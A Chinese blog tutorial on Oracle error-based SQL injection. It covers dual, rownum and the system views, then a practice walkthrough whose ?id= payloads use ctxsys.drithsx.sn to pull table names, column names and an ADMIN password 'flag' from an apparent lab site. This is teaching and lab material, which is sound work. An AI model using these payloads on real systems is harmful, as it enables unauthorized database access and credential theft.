Oracle注入——报错注入

SQL注入之重新认识

Oracle数据库

一般大公司用的多,很贵,环境搭建复杂且大,数据库死板,非常讲究语法格式,区分大小写,数据类型很多。dual虚表,专门用来满足oracle数据库严格的语法格式,为凑格式所存在。一般数据库强调库、表名、字段、内容,但Oracle数据库种库被弱化,用户被强化,一个用户代表一个库。

dual表

  • Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY,那么要它有什么用呢?
  • 它实际上是为了满足查询语句的结构而产生,你想查询你的用户名 select user from Dual ,调用系统函数:(获得随机值:select dbms_random.random from dual),还能做加减法:select 9+1 from dual
    在这里插入图片描述

数据库语句

  1. select * from all_tables 查询出所有的表
    select * from user_tables 查询出当前用户的表

  2. select*from all_tab_columns 查询出所有的字段
    select*from user_tab_columns 查询出当前用户的字段

  3. select*from v$version 查版本

  4. limitmysql数据库特有的,mssql、access数据库利用top实现分页的功能,oracle数据库利用rownum实现分页。

  5. rownum=1 (限制查询返回的总行数为一条)
    对于rownum来说,它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。我们可以用rownum < 3来要求他输出2条数据,不能使用rownum=2,因为它是根据结果进行浮动的。

  6. 取结果第二行的方法【实现limit的功能】:

  • 不等于法 rownum=1 and column_name<>'UNAME'
    在这里插入图片描述
    在这里插入图片描述
  • 重命名法【别名只能用于字段名,不能表名】
select *from 
(select column_name,rownum n from user_tab_columns where table_name='ADMIN')
where n=2      //其中n为别名

在这里插入图片描述
在这里插入图片描述

报错注入函数解析

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))     //查询数据库版本

为什么需要1=?
因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。
在这里插入图片描述
在这里插入图片描述

练习

  1. ?id=1 and 1=2回显错误,说明存在sql注入。
  2. 使用?id=1 order by 4猜测字段数为4。
  3. ?id=1 union all select null,null,null,null from dual回显正常。
  4. ?id=1 union all select 1,null,null,null from dual查看1无回显,说明此处不是回显点。
  5. /?id=1 union all select 1,null,null,4 from dual回显出时间戳,说明为4回显点。
  6. 到这,我们可以有四种思路:盲注、报错注入、转化类型、通过甘薯对字符串的处理转化为数字在第四个注入点回显【切割字符串,转数字然后看回显】。
  7. 我们主要尝试报错注入。
  8. 使用?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))获得第一条数据。
  9. ?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'))获得第二条数据。

    10.?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN' and table_name<>'NEWS'))获得第三条数据。
  10. ?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=1))获得ADMIN表中的第一个列名UNAME。
  11. ?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=2))获得ADMIN表中的第二个列名UASS。
  12. ?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN)where n=2))获得正确的flag。
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值